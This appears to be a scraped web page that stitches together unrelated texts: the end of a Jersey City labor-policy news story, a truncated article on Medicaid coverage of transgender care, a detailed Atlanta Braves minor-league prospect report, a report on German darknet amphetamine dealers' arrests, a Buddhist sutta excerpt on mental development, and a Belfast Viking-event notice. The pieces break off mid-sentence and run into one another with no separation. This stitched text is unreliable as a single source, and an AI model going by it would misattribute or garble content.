The move is winning praise from liberals and scorn from business groups. Michael Egenton, a senior vice president at the New Jersey Chamber of Commerce, said he's concerned both about this proposal and about its effect on businesses when combined with other government mandates, such as the city's paid sick leave law.
"At the end of the day the employer has a business operation to run. When you're putting these requirements/mandates on any employer, there can be unintended consequences," such as some workers losing their jobs, Egenton said.
32BJ was one of the few labor unions to endorse Fulop over his rival, former Mayor Jerramiah Healy, in the 2013 mayoral race. The union continues to support the mayor, whose latest campaign finance records show a $5,000 donation to Fulop's re-election campaign from 32BJ's political action fund in January. 1199, another affiliate of SEIU, gave Fulop's campaign an additional $5,000 in February.
The council meets tomorrow at 6 p.m. at City Hall, 280 Grove St.
Terrence T. McDonald may be reached at tmcdonald@jjournal.com. Follow him on Twitter @terrencemcd. Find The Jersey Journal on Facebook.Solorah Singleton has been waiting years for breast augmentation. She doesn’t want to jinx it now, but the Philadelphia resident thinks it’s finally within reach.
Singleton, 36, was born male but identifies as female. For seven years, she has had regular hormone therapy, never seeing surgery as an option. She previously didn’t have health insurance and didn’t think she could cover the cost of the procedure out-of-pocket.
Now, that’s changed. Last summer, her home state of Pennsylvania updated its Medicaid policy to spell out coverage of care related to gender transitioning — including surgery. Soon after, employees at a local health clinic signed Singleton up. She has since received medical approval for surgery and hopes to get it done soon.
“It’s a blessing,” she said. “I’ll feel at home in my own skin.”
Her experience aligns with a larger trend that could soon lose steam. Spurred in part by anti-discrimination rules in the 2010 health law, Pennsylvania — along with 13 other states plus the District of Columbia — rewrote its Medicaid policy to clarify how it covers transition-related care. Montana, the most recent adoptee, posted its change in May. Because Medicaid, the state-federal health insurance program for low-income people, covers a disproportionately high number of transgender people compared with the general population, the potential change could heap hardship on an already embattled population.
The ACA’s non-discrimination portion, known as Section 1557, says federally funded programs that provide health care, coverage or related services cannot discriminate based on sex. The provision has been in effect since the law’s enactment and helped fuel a federal push to protect transgender people from discrimination in receiving health care services. In 2016, the Obama administration’s Department of Health and Human Services issued the final rule crystallizing that policy.
Before the ACA, Medicaid operated under its own anti-discrimination requirements. However, many state programs were vague in describing gender-transition benefits. This made it difficult for people like Singleton to understand what Medicaid covered. It also made it easier for plans to question the “medical necessity” of treatments and to issue denials.
By making it clear that state Medicaid programs could not refuse to pay for a health care service simply because the beneficiary is transgender, and suggesting greater federal attention to the matter, the Section 1557 rule pushed states to be more upfront about coverage specifics.
That regulation is back in play as the Department of Health and Human Services appears to be walking back from its directive and coverage protections.
In a Texas case in which faith-affiliated health care providers argued Section 1557 required they act against their religious beliefs — which “will not allow them to perform |
- to 80-inning workload rather than a cautious 34. He could rocket to the big leagues next year, or he could blow out and never be heard from again.
Drafted: 3rd Round, 2016 from Louisville Age 22 Height 6’2 Weight 225 Bat/Throw R/L Tool Grades (Present/Future) Fastball Slider Changeup Command 45/45 50/50 45/50 50/55
Relevant/Interesting Metrics
Posted 1.06 WHIP as junior at Louisville.
Scouting Report
Harrington got about $100,000 over slot as the 80th-overall pick, and he’s wholly unlike the three pitchers drafted ahead of him. He’s a college performer who was ACC pitcher of the year in 2016, posting a 1.95 ERA over 110 innings during which he K’d 92. He’s also a maxed-out 6-foot-1 with advanced command and control, locating a fringe-to-average three-pitch mix down in the zone with regularity. He sits 88-92, will touch 93 and will bump 95 out of the bullpen. His slider is average, his changeup a half-grade below, but should grow to average with reps. He profiles as a high-probability No. 4/5 starter.
Signed: July 2nd Period, 2015 from Dominican Republic Age 18 Height 6’1 Weight 177 Bat/Throw S/R Tool Grades (Present/Future) Hit Raw Power Game Power Run Fielding Throw 20/45 30/40 20/40 70/70 40/55 50/60
Relevant/Interesting Metrics
Hit.309 in GCL, then.183 in Appy League.
Scouting Report
Cruz was one of the 2015 July 2 class’s better athletes, with 70-grade speed, premium defensive footwork and plenty of physical projection, much of which he’d need to actualize to add arm strength and to do any damage with the bat. His feel for contact (especially from the right side, where his swing is much better) was too advanced for the GCL, but he couldn’t compete physically in the Appalachian League and he looked exhausted there. He showed up to camp this year looking noticeably larger, which will hopefully help him hit and remain effective throughout all of 2017. He’s a likely bet to stick at short, but the offensive profile is entirely dependent on how the body develops and whether or not his left-handed swing ever comes along. He showed a surprisingly discerning eye when I saw him last fall, which I did not expect given his metrics from 2016.
KATOH+ Projection for first six years: 0.7 WAR
Signed: July 2nd Period, 2016 from Dominican Republic Age 17 Height 6’1 Weight 181 Bat/Throw S/R Tool Grades (Present/Future) Hit Raw Power Game Power Run Fielding Throw 20/45 45/50 20/45 45/45 40/45 50/55
Relevant/Interesting Metrics
None.
Scouting Report
Severino has sneaky raw power for his size. He has above-average bat speed, loose wrists and comfortable, natural loft in the swing. He didn’t track pitches consistently when I saw him during instructional league, and I have some concerns about swing and miss. He’s twitchier and more explosive in the batter’s box than he is in the field, where his footwork and actions can be slow and tentative. Some scouts think he’ll have to move either to second or third as he fills out. If that’s the case, then Severino will have to outperform my expectations for the bat to profile as a regular. If he can stay at short, however — and I think there’s a decent chance he can — then not only is he an everyday player, but he’ll become one of the system’s more interesting prospects.
Drafted: 1st Round, 2014 from Rancho Bernardo HS (CA) Age 21 Height 6’2 Weight 215 Bat/Throw R/R Tool Grades (Present/Future) Hit Raw Power Game Power Run Fielding Throw 30/40 60/60 30/45 20/20 30/45 50/50
Relevant/Interesting Metrics
Slashed.243/.332/.408 in Midwest League in 2016.
Scouting Report
In 2012, Jackson led all California high-school hitters in home runs with 17. He was a sophomore. Later that summer, Jackson went to Area Codes, where he had one of the event’s most impressive batting practices, but his swing length was exposed in games during the event. Jackson made an adjustment and shortened up the next spring and continued to rake against elite prep arms in showcases during the rest of his high-school career. The track record for hitters who have consistent success at those events is very good.
Jackson caught in high school. He posted some plus-plus pop times thanks largely to his natural arm strength and quick arm action, but the body looked like it would eventually become too big to catch. Jackson worked out at third base and in the outfield as an amateur and has surprisingly good feet at third for an athlete of his size, but not all scouts liked the arm action over there and many preferred him in the outfield if forced to choose. By the time Jackson’s prep career was finished, he had been an Under Armour All-American twice, a Baseball America All-American three times and was named Baseball Prospectus’ Prospect of the Year before the draft. The Mariners drafted Jackson sixth overall in June of 2014 and signed him for a $4.2 million bonus. He was traded for Rob Whalen (a minor-league depth arm) and Max Povse (a potential No. 4/5 starter) this offseason.
With parts of three pro seasons now under his belt, Jackson’s stock had tanked. He was held back in extended spring training to start the year for performance reasons. His body has developed poorly and some of the quick-twitch elements of his swing have disappeared. Questions about Jackson’s makeup have been circulating since he signed. During his extended stay in Arizona last year, Jackson’s swing looked stiff and grooved, and he was often late on even average velocity. As the year went on, he became a bit more fluid and loose — and was getting better extension through contact — but he remained late on fastballs and would swing through hittable pitches. The bat path that once elicited dreams of both.300 averages and 20-plus home runs still exists, Jackson just doesn’t barrel many balls.
Pre-draft, Jackson looked like a future plus hitter with plus power. Based on how he looked for me last year, the hit tool’s ceiling is probably closer to a 40. Atlanta plans to move Jackson back behind the plate and, if that reversion is successful, a 40 hitter with plus raw power is not only playable but probably an everyday player. Scouts will tell you that successful conversions to catcher require good athleticism and makeup (catching takes significant tolls on one’s body and mind), and it’s unclear if Jackson has either of those. At the very least, he represented an interesting buy-low opportunity for the Braves, who had a surfeit ton of minor-league pitching to trade. Jackson will play next season at age 21.
KATOH+ Projection for first six years: 0.4 WAR
Drafted: 4th Round, 2012 from Bishop Amat HS (CA) Age 23 Height 6’1 Weight 230 Bat/Throw L/R Tool Grades (Present/Future) Hit Raw Power Game Power Run Fielding Throw 40/50 55/55 35/40 40/40 45/50 55/55
Relevant/Interesting Metrics
Slashed.271/.355/.400 at Triple-A.
Scouting Report
Ruiz has above-average raw power that he hasn’t been able to utilize in games because his in-game swings are stiff and effortful, and he never seems to take advantage of opposing pitchers’ mistakes, often fouling back grooved, hittable fastballs. He has a good approach and recognizes breaking balls early; however, mediocre bat control, hand-eye coordination and an excessively deep load suppress his ability to make strong contact. He’s still just 22 and has plenty of time to make adjustments without another Braves third-base prospect breathing down his neck in the upper minors, but it’s hard to project Ruiz as an average regular because he’s never hit for the kind of game power needed to profile favorably there.
KATOH+ Projection for first six years: 4.1 WAR
Drafted: 7th Round, 2015 from Central Florida Age 24 Height 6’0 Weight 185 Bat/Throw R/R Tool Grades (Present/Future) Hit Raw Power Game Power Run Fielding Throw 40/50 50/50 35/40 40/40 45/50 50/50
Relevant/Interesting Metrics
Has produced career.270/.378/.446 line as pro, but always older than average for level.
Scouting Report
Despite a very simple swing consisting of very little lower half use, Moore is able to generate average raw power, and he can torch balls on the inner half. When pitchers are working him away, he has trouble getting the bat head there without extending his hands early and arriving late. He’s hit well in A-ball as a college draftee, but I do think upper-level pitchers will be able to exploit him more readily than low-level arms have been able to. He’s a 40 runner and, despite having played most of his pro career there, I don’t think he fits at short full time. He’s already begun to see time at the other three infield spots, and he spent time in the outfield with Texas before he was sent to Atlanta in the Jeff Francoeur deal. I like him as a mistake-hitting utility man who plays all over the field.
KATOH+ Projection for first six years: 0.8 WAR
Signed: July 2nd Period, 2010 from Dominican Republic Age 23 Height 6’2 Weight 245 Bat/Throw R/R Tool Grades (Present/Future) Fastball Slider Changeup Command 80/80 45/50 45/50 40/40
Relevant/Interesting Metrics
Recorded average fastball velocity of 100.6 mph, per Statcast.
Scouting Report
Cabrera is famous for his 100-plus mph fastball that sits anywhere from 98-103 with some life when he’s locating to his arm side. It’s straight when he’s working to his glove side and is a bit more hittable than one would expect a hondo heater to be. His breaking ball (it looks like a slider but since it has a 20 mph velo delta from his fastball, I guess you could call it a curve) is inconsistent, above average at times and well below average at others. He also has a changeup in the 88-93 range that bewilders hitters who are geared up for 100-plus. I think a lack of true out-pitch breaking ball will ultimately prevent Cabrera from closer duties, but he’s a high-probability seventh-inning setup type. He’ll exhaust his rookie eligibility early in 2017.
Drafted: 1st Round, 2015 from DeSoto Central (MS) Age 20 Height 6’2 Weight 230 Bat/Throw R/R Tool Grades (Present/Future) Hit Raw Power Game Power Run Fielding Throw 30/40 60/60 40/50 40/30 40/45 60/60
Relevant/Interesting Metrics
Had.915 OPS from July through end of year.
Scouting Report
Riley began the year struggling with any sort of velocity and then improved the timing of his footwork, quieted his hands and started hitting. Late in the year, he was turning on plus velocity. He has plus raw power (at least) and has improved his body composition since high school (when he was a heavy 230). But at just 19, with some general stiffness to his actions, Riley is pretty likely to kick over to first base as he matures. The adjustments he made last year were encouraging, but reports from late in the year indicate some vulnerability on the outer half, and it’s going to be difficult for him to clear the offensive bar at first base with his current contact profile. He was up to 94 on the mound in high school, so if he can have passable range and actions at third, the arm might keep him there for a little while.
KATOH+ Projection for first six years: 1.9 WAR
Drafted: 4th Round, 2016 from Orange HS (NC) Age 19 Height 6’1 Weight 224 Bat/Throw R/R Tool Grades (Present/Future) Fastball Slider Changeup Command 55/55 40/50 40/45 40/50
Relevant/Interesting Metrics
None.
Scouting Report
A stocky bulldog righty, Wilson lacks the physical projection of the prototypical high-school arm but already sits 90-94 with a heavy fastball that will touch 96. His slider was his primary offspeed pitch in high school, flashing average and sitting below it, but he showed solid changeup feel in his brief pro stint. He has a non-zero chance to pitch toward the back of a rotation but is more likely to end up as a solid relief piece, and reports indicate Wilson yearns for high-leverage situations.
Signed: July 2nd Period, 2013 from Venezuela Age 20 Height 5’11 Weight 170 Bat/Throw L/L Tool Grades (Present/Future) Fastball Curveball Changeup Command 50/50 50/55 45/50 30/40
Relevant/Interesting Metrics
Had 200% increase in workload in 2016.
Scouting Report
Acquired from Anaheim as part of the Kyle Kubitza trade ahead of the 2015 season, Sanchez was an intriguing teenage lefty who was touching 95 in the AZL at age 17 and showing feel for both a curveball and changeup. He struggled to throw strikes and keep all the components of his delivery timed well (especially from the stretch, where he loses some velo, too) and still has issues with that today, but he’s still just 19 and was sitting 90-93 and flashing an above average curveball last year. His changeup will flash average. On stuff, he’s a potential No. 4 starter, but the command needs a full grade of progression for him to be even a viable reliever. That’s well within the realm of possibility for an arm this young.
KATOH+ Projection for first six years: 1.4 WAR
Drafted: 25th Round, 2015 from Miami Dade College Age 22 Height 5’11 Weight 180 Bat/Throw R/R Tool Grades (Present/Future) Hit Raw Power Game Power Run Fielding Throw 30/45 45/45 30/40 20/20 45/50 50/50
Relevant/Interesting Metrics
Slashed.269/.313/.369 at Low-A.
Scouting Report
Morales had the unenviable task of catching Rome’s pitching staff last year, which was probably a lot like being Mitch Mitchell in 1966, as he too was forced to handle exceptional but unkempt talent on a nightly basis. He did it with aplomb, though, showing terrific receiving and ball-blocking ability, good lateral mobility and an average arm. He can catch and, while he was a bit old for Low-A last year, he does have some feel for contact and modest pull power. None of the tools is loud enough to project surefire everyday value, but I like Morales as a solid backup and potential low-end regular. If you’re skeptical of Brett Cumberland’s chances of catching, Morales is the best backstop prospect in this system.
KATOH+ Projection for first six years: 1.6 WAR
Signed: July 2nd Period, 2015 from Dominican Republic Age 19 Height 5’9 Weight 165 Bat/Throw S/R Tool Grades (Present/Future) Hit Raw Power Game Power Run Fielding Throw 35/60 45/50 20/40 55/50 40/50 55/55
Relevant/Interesting Metrics
Has recorded 60 career walks, 58 career strikeouts.
Scouting Report
Though he doesn’t have the endless physical projection possessed by many of the other Latin American teenagers in this system, Ventura arguably has the best feel to hit of any of them. He has plus bat speed and excellent bat control from the left side. That swing is so pretty, I have no idea why he bothers switch-hitting. He did struggle against average offspeed stuff when I saw him during instructional league. He’s an above-average runner and has pro experience in center field, but his body has matured quickly and he’s probably going to be quite thick at peak, so I have him projected in right field. At just 5-foot-9, his power projection is quite modest, but he might hit enough to justify everyday duty in a corner anyway and, of course, he’s quite a distance from the majors. He suffered a scapula fracture in a car accident in the Dominican late in 2015 but has shown no ill effects.
KATOH+ Projection for first six years: 0.5 WAR
*****
*****
Other Prospects of Note (In Order of Preference)
Braxton Davidson, OF/1B, 0.7 KATOH+ WAR – Davidson’s body has matured quickly and scouts are projecting him to first base. He was stiff and his hands were noisy when I saw him in the fall, though his contact is hard when he’s making it. Regardless of his defensive home, he’s going to have to hit more than he has. He led his level in strikeouts last year, and I have inconsistent reports on the bat path and bat speed.
Guillermo Zuniga, RHP – This Colombian righty was a bit older than other members of the ’16-17 July 2 class (he turned 18 in October), but he’s got a good pitcher’s body at 6-foot-3, 195, an easy, repeatable delivery and solid curveball feel. His fastball, 88-92, touching 93, jumps on hitters due to extension, and he’s shown an ability to back door his curveball already. He’ll probably carve up the GCL this year, because he can throw that breaking ball for strikes.
Abrahan Gutierrez, C – Gutierrez was one of the bigger names in Atlanta’s J2 class because his body matured sooner than his peers’. He lost some mobility as signing day approached, but he has enough defensive skill to remain at catcher long term provided he keeps his body in check and remain mobile. He turned 17 in October. Gutierrez has average raw arm strength that plays down because of how long it take Gutierrez to rise from his crouch, but that should be cleaned up, at least a bit, with instruction. Offensively, he has some pull power because of raw strength in his hands, but he lacks exceptional bat speed. He may never be more than a 40 hitter with 45 game power. If he can catch, however, that will play.
Yenci Pena, 3B – Pena has a big frame and above-average power projection. As he grows into that power, he’ll almost certainly move off of short and to third base. The actions, footwork and arm strength will play there, possibly as plus. He’s a high-upside lottery ticket.
Jesse Biddle, LHP – Fate has been unkind to Biddle. A former first-round pick by Philadelphia, Biddle was 88-94 with a loopy but cool-looking 69-72 mph curveball for much of his tenure with Philly before the curveball ceased to be effective with heavy use against upper-level hitters (often the case for lollipop curveballs like Biddle’s). He struggled with command which made it difficult for him to work more heavily with and develop a slider (which looked promising when he would throw it) and changeup. A freakish run of bad luck (the most bizarre occurrence was Biddle getting hit in the head with a tennis-ball-size chunk of hail and suffering a concussion early in 2014, the most severe one was he needed Tommy John in the fall of 2015) totally derailed his career, and he was DFA’d by Philly and Pittsburgh before landing with the Braves.
Livan Soto, INF – Soto, signed out of Venezuela for $1 million, has a lot of physical projection and has shown some solid hitting traits, but he’s extremely raw both physically and technically. Until Soto fills out, if he does at all, it’s hard to say which of his tools will have benefited from physical maturation (bat control, power and arm strength are likely candidates) and which have been harmed (straight-line speed and already heavy defensive footwork). He’ll likely end up at third base eventually.
Lucas Sims, RHP, 1.8 KATOH+ – Sims will sit 94-96 with a plus curveball, but the fastball plays down due to its flat, lifeless nature. Sims’ delivery is a bit stiff and oddly paced, resulting in 30 control. He needs to improve his ability to throw strikes just to be a middle-relief piece, and there’s a chance he never gets there.
Jacob Lindgren, LHP – Lindgren was 87-90 as a sophomore starter at Mississippi State, then touching 96 as a junior out of the bullpen with a plus-plus slider. He struck out 100 hitters in 55 innings of relief as a junior and the Yankees picked him in the second round of the 2014 draft. He reached the majors in his first pro season, but his slider’s bite became very inconsistent. He missed much of 2016 with bone spurs in and then had Tommy John in August. The Yankees non-tendered him in December and Atlanta offered him a major-league deal. He only began throwing a few weeks ago.
Akeel Morris, RHP, 0.9 KATOH+ – Morris was touching 95 in the Fall League, sitting mostly 92-94 with a plus changeup that has extreme velocity separation from his heater, usually tumbling in in the upper-70s. His delivery has a lot of moving parts and he has poor control. At age 24, he’s looking more like an up-and-down arm than a true middle-relief mainstay because the command is so unreliable.
Josh Graham, RHP – Graham began his career at Oregon as a catcher and, after two years behind the plate, moved to the mound. He’s built like a catcher and has a stiff, somewhat slingy delivery that he struggles to repeat. He’s a pure relief prospect but sits 92-95 and touches 97 while flashing a plus changeup. The breaking ball is fringey, but the fastball/change combination could allow him to be a bullpen mainstay.
Thomas Burrows, LHP – Burrows was the Mariners’ fourth-round pick out of Alabama from the 2016 draft and then was traded to Atlanta in the Mallex Smith, Drew Smyly kerfuffle. He’s a low-slot, pure relief arm with an average fastball/slider combo that could play a half-grade above that due to natural deception in Burrows’ delivery. He profiles as a lefty specialist.
Jeremy Walker, RHP – Atlanta’s fifth rounder out of Gardner Webb, Walker was 91-94 for me during instructional league with a stiff, relief-only delivery. He flashed two different above-average breaking balls in a tight, Frisbee-like mid-80s slider that touched 88 and an upper-70s, two-plane curveball. He’s a potential middle-relief piece.
Evan Phillips, RHP, 0.7 KATOH+ – Phillips was 94-97 in the Fall Stars game with a fringe change and average slider in the 82-84 range that had some length but lacked sharp movement. I like the velo but don’t see a bat-missing secondary offering here. Still, the three-pitch mix may work in middle relief.
Luis Mora, RHP – Mora is 21 but still freakishly skinny. His limbs look like Twizzlers and he’s had trouble holding his stuff late into starts. It sounds like Atlanta is considering developing him in a multi-inning relief role. That might allow Mora to sit 95-plus with his fastball for the duration of his outings. He was touching 101 last year. Mora’s seccondaries are very inconsistent, at times flashing above average but often sputtering in well below average. He throws from a lower slot, and it’s hard for him to get on top of a breaking ball from that angle, so if any of his pitches are going to improve enough to make him a viable big leaguer, I think it’s likely to be his changeup
Juan Contreras, RHP – Contreras touches 97 with his fastball and sits 92-95. There’s some effort to the delivery, but Contreras’s lower half is long and strong and the arm works fine. His best secondary is a slider with purely vertical movement, a result of Contreras’ vertical arm slot. It flashes plus. It’s hard to generate any changeup movement from a slot like Contreras’. Due to a combination of that arm slot, his size (a slightly built 6-foot-1) and the effort in his delivery, there’s a good chance he’s only a reliever.
Anthony Guardado, RHP – Guardado suffered a shoulder injury playing quarterback in high school and didn’t pitch much as a senior. I ran into him purely by chance when I went to see San Dimas righty Pete Lambert (now with Colorado) during their draft springs and Guardado was touching 94 with curveball feel over just two innings of work. The injury issues have lingered in pro ball, which is why Guardado hasn’t thrown very many innings, and it’s difficult to know what’s still in there.
Corbin Clouse, LHP – Clouse was a 27th rounder in 2016 out of Davenport University. A back injury required a medical redshirt during his freshman year, but he struck out 75 hitters over 50 innings as a redshirt sophomore. He was 90-93, touching 95, and flashing a 55 slider out of Rome’s bullpen last year and is a potential middle-relief piece.
Luis Ovando, 2B – A Dominican second baseman signed later during the 2015 J2 period, Ovando fits best defensively at second base rather than short and he has an advanced feel to hit.
Tucker Davidson, LHP – A 19th rounder out of Midland JC in Texas, Davidson was topping out at 93 in college, but his velo has ticked up as he’s improved his conditioning and is now touching 96. He might breakout this year.
Johan Camargo, INF, o.7 KATOH+- A switch-hitting Panamanian infielder, Camargo will flash impressive leatherwork, but he lacks the range for shortstop and the bat to play anywhere else. His feel for hitting and lack of balance at the plate are both non-starters for any sort of offensive output, but he’s a plus defender at third and has started to see reps at second base. He could have Abraham Nunez’ career.
Micah Johnson, 2B, 1.8 KATOH+ – Johnson turned 26 in December and still doesn’t have the power to play at any defensive position he’s capable of competently manning regular basis. The Dodgers had him working at various positions in Triple-A last year, but he can’t play shortstop, so it’s not an obvious utility profile. He can absolutely fly and hits right-handed pitching a little bit, so if he can develop enough feel for center field to be passable there, then he could essentially be a fourth outfielder who can also play second base.
Braulio Vasquez, SS – One of Atlanta’s lesser-heralded signings from the 2016 J2 class, Vasquez is a 55 runner with viable actions at shortstop and some feel to hit, but he was seen as too weak with the bat to be more than a utility player at maturity. Then he showed up to camp this week having added 15 pounds. This is one to monitor in the GCL this year.
Anfernee Seymour, SS – Seymour was born in the Bahamas but went to high school at the fabled American Heritage in Florida. He was the Marlins’ seventh rounder in 2014 and then traded to Atlanta in the Hunter Cervenka deal last year. He’ll likely never hit enough to be a regular (below-average bat speed and raw feel to hit) and profiles more as a utility player, though he might be able to play above-average defense at all the premium positions, as he’s an 80 runner with enough athleticism to pass at both middle-infield spots.
Ramon Morla, RHP – A former Seattle farmhand who moved to the mound after a disappointing start to his career with the bat, Morla was touching 99 with a plus slider in the AZL before his elbow blew out. His body and stuff had gone a bit backward when he returned, and he signed a minor-league deal with Atlanta this offseason. He’s an interesting flier if he can reclaim all of his arm strength.
Izzy Wilson, OF – Signed during the 2014 July 2 period off of the island of St. Martin (an island about 200 miles east of Puerto Rico that’s split in half by the French and Dutch), Wilson is a tools goof without any modicum of polish in the batter’s box. He’s a twitchy and well-built (6’3, 185) plus runner with above-average raw power and plus bat speed, but his bat control is way behind and needs significant polish if he’s even going to be a bench outfielder.
William Contreras, C – The brother of Cubs catcher Willson Contreras, William is also a malleable athlete with some feel to catch, bat speed and mobility skills. He’s just raw.
Lucas Herbert, C, 0.4 KATOH+ – Herbert has always been a glove-first prospect and he remains so, but the bat hasn’t progressed to a point of viability and it’s becoming increasingly unlikely that it ever will.
Phil Pfeifer, LHP — An undersized lefty from Vanderbilt, Pfiefer sits in the low-90s, will touch 94, and has a four-pitch mix headlined by an above-average slider. He’s had stamina issues, and his future is the the bullpen as a unique deep repertoire mop-up guy.
Carlos Castro, 1B, 0.4 KATOH+ – Castro has plus raw power but swings at (almost literally) everything and has a first-base-only defensive profile. He takes huge, aggressive hacks and annihilates mistakes on the inner half, but his approach needs to improve quickly and drastically.
Devan Watts, RHP – A 17th rounder in 2016, Watts sits 91-94 with some downhill plane and an average slider. He attacks hitters, throws strikes and is another potential ‘pen arm who lacks the raw stuff of the names ahead of him on the list.
Juan Yepez, INF – Yepez began the season in Low-A as an 18-year-old but suffered an oblique injury, missed three months and his season never got off the ground. He has above-average raw power but also expands the zone too often. Scouts are split on whether he fits long term at third base or first. The latter would force a significant improvement in approach if he’s to remain a prospect.
Jean Carlos Encarnacion, INF – A Dominican infielder who signed for just $10,000, Encarnacion has begun to grow into his lanky 6-foot-3 frame and flash above-average power. He was a little old for the DSL last year but is worth monitoring as he moves stateside.
Alger Hodgson, RHP – Hodgson is a 17-year-old Nucaraguan righty who was suspended and did not pitch in 2016 after testing positive for Stanazolol last spring. He sits 93-96 and touches 97, albeit with lots of effort.
Zach Rice, LHP – A low-slot lefty from North Carolina, Rice will touch 95 but has 20 control.
Alay Lago, UTIL – Despite an immaculate physique, above-average raw power and elite run times in the 60 yard dash, Lago couldn’t generate much interest from MLB clubs after defecting from Cuba. He went to the Mexican League, where his season was cut short due to a drug suspension after he also tested positive for stanozolol. He signed a minor-league deal with Atlanta in December. He’s going to be old for his level, and his approach and swing are both ugly.
Nick Shumpert, INF – Shumpert is the son of former major-leaguer Terry Shumpert, who had that one.347/.413/.584 season in 1999 but only had one other 100-plus wRC+ season in a 13-year big-league career. Nick has some power, but his approach and timing are both raw. He fits much better at second base than he does at short, so the bat needs to come.
Cistulli’s Guy
Selected by Carson Cistulli from any player who received less than a 40 FV.
James’ amateur profile isn’t the sort that typically portends greatness. He was signed, for example, only after his senior year of college. At a DII school, actually. Where he didn’t inspire sufficient confidence in his coaches even to play center field. And lacked the signature power of a corner outfielder.
Unsurprisingly, he wasn’t selected until the 34th round. Perhaps more surprisingly, however, James acquitted himself quite well as a professional — in particular during his 100 plate appearances at Low-A Rome, where he recorded a strikeout rate of only 11% while producing nearly a.200 ISO. All this while playing at just about the league-average age.
There are a number of caveats to make, obviously. Relative to his pedigree, however, it was a very promising performance — and similar enough to his college output to suggest it might be a reflection of true talent.
*****
System Overview
This is baseball’s “Trust the Process” franchise, one that has amassed perhaps the best collection of minor-league talent in the game because of complete and total devotion to their own rebuild. A few trends have emerged during this rebuild, aside from the obvious arm hoarding. First, Atlanta has identified motivated big-league buyers and done business with them multiple times. The Diamondbacks, Dodgers, Giants, Mariners, Marlins, and Rangers have all conducted multiple trades with Atlanta over the last few years to varying degrees of splash. Atlanta has also been willing to take fliers on players who are acquirable for non-talent reasons, such as injury or makeup, which has given their system famous depth and looks great on lists like these.
The Braves also seem to have a propensity to believe a player’s most recent performance is either (a) what he’ll be moving forward or (b) the start of a continuous upward trend. The organizations seems more willing to jump on prospects in the draft or trade market based on short-term upticks in performance. Ian Anderson, whose stuff was great late in the spring is, the the most prominent example of this and Joey Wentz (who was back up into the mid-90s during state playoffs) is another. Most teams seem to more heavily weigh performance closer to the date of acquisition rather than equally consider an entire long-term sample, but I think the Braves do more so than any other save for perhaps the Dodgers. This club probably has another top-100 prospect coming in this year’s draft but likely won’t be able to manipulate the shape of the draft as much as they did last year because teams like Cincinnati, Milwaukee, Tampa, and others having multiple picks between Atlanta’s first (No. 5) and second (No. 41) selections.A group of four drug traffickers were arrested after a multi-month investigation by a German narcotics taskforce. The group operated at a street level, but resold drugs from the darknet in “considerable” quantities. Most notable, perhaps, was that police seized a half-kilogram of amphetamine during the raids.
The investigation, according to the police report, took several months because of how complex the group’s system was. Norderstedt investigators were required to track members of the group at all times to reveal structures and delivery routes.
Amphetamines were most regularly purchased from the darknet and subsequently sold to customers. This should be of no surprise; the recent majority of darknet-related arrests in Germany were centered around amphetamine.
Ecstasy and cannabis were also sold but to a much lesser degree. Investigators described that after the drugs arrived via the postal system, the suspects would bury the reserves. When a group member was ready to make a sale, he/she would uncover the substance cache and retrieve the requested substance.
Drugs were mainly sold to customers in Schleswig-Holstein and Hamburg, officers said. Many face-to-face transactions occurred but arrests were not made; police wanted the group as a whole, not a single member and customer.
In early November, group members were arrested in Schleswig-Holstein, Hamburg and Lower Saxony.
The police report explained the arrest of a 34-year-old from Henstedt-Ulzburg. This 34-year-old was the so-called “head of the group” and was the first to be arrested. His apartment was raided and authorities discovered the leader’s personal use stash. Police found 41 ecstasy pills, cannabis, and amphetamine inside the residence. These, along with other unnamed drugs, were for personal consumption. Investigators uncovered the “earth depot” cache outside his apartment and found a reserve of 180 grams of amphetamine. He was arrested and extensively interrogated the following day. At the request of the Kiel public prosecutor’s office, he will remain in custody at the investigative detention center of Neumünster Prison until further notice.
Another 34-year-old was arrested at the same time in Hamburg’s St. Pauli district. He was preparing to sell 100 grams of amphetamine to two customers. This 34-year-old member of the group had two “earth depots” that police were aware of. Additional amphetamine was found in both outside storage areas. He was arrested, questioned, and promptly released “for lack of liability,” according to the report.
Simultaneously in Hamburg, a 31-year-old from Alveslohe was arrested while he was emptying his outdoor drug supply. He removed 150 grams |
in his awareness, or his mind becomes scattered externally. He should then direct his mind to any inspiring theme [Comm: such as recollection of the Buddha]. As his mind is directed to any inspiring theme, delight arises within him. In one who feels delight, rapture arises. In one whose mind is enraptured, the body grows serene. His body serene, he feels pleasure. As he feels pleasure, his mind grows concentrated. He reflects, 'I have attained the aim to which my mind was directed. Let me withdraw [my mind from the inspiring theme].' He withdraws & engages neither in directed thought nor in evaluation. He discerns, 'I am not thinking or evaluating. I am inwardly mindful & at ease.' Furthermore, he remains focused on feelings... mind... mental qualities in & of themselves — ardent, alert, & mindful — putting aside greed & distress with reference to the world. As he remains thus focused on mental qualities in & of themselves, a fever based on mental qualities arises within his body, or there is sluggishness in his awareness, or his mind becomes scattered externally. He should then direct his mind to any inspiring theme. As his mind is directed to any inspiring theme, delight arises within him. In one who feels delight, rapture arises. In one whose mind is enraptured, the body grows serene. His body serene, he is sensitive to pleasure. As he feels pleasure, his mind grows concentrated. He reflects, 'I have attained the aim to which my mind was directed. Let me withdraw.' He withdraws & engages neither in directed thought nor in evaluation. He discerns, 'I am not thinking or evaluating. I am inwardly mindful & at ease.' This, Ānanda, is development based on directing. And what is development based on not directing? A monk, when not directing his mind to external things, discerns, 'My mind is not directed to external things. It is unconstricted front & back — released & undirected. And furthermore I remain focused on the body in & of itself. I am ardent, alert, mindful, & at ease.' When not directing his mind to external things, he discerns, 'My mind is not directed to external things. It is unconstricted front & back — released & undirected. And furthermore I remain focused on feelings... mind... mental qualities in & of themselves. I am ardent, alert, mindful, & at ease.' This, Ānanda, is development based on not directing. Now, ĀViking battle to take place at Belfast pop-up venue Contained BelfastTelegraph.co.uk Picture the clash of metal meeting metal, as sword and shield glint in the light of the sun. Think battle cries, think arrows speeding through the skies, think wild hairy warriors - yes the Vikings are coming. https://www.belfasttelegraph.co.uk/entertainment/news/viking-battle-to-take-place-at-belfast-popup-venue-contained-34191961.html https://www.belfasttelegraph.co.uk/incoming/article34191959.ece/a747a/AUTOCROP/h342/Contained%208.jpg
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Picture the clash of metal meeting metal, as sword and shield glint in the light of the sun. Think battle cries, think arrows speeding through the skies, think wild hairy warriors - yes the Vikings are coming.
This Saturday the Magnus Viking Association will let you step aboard a time machine and travel back 1,000 years, to a time when weapons were wielded and runes were read.
This event will take place at the new eco pop-up venue 'Contained', in Corporation Street, Belfast.
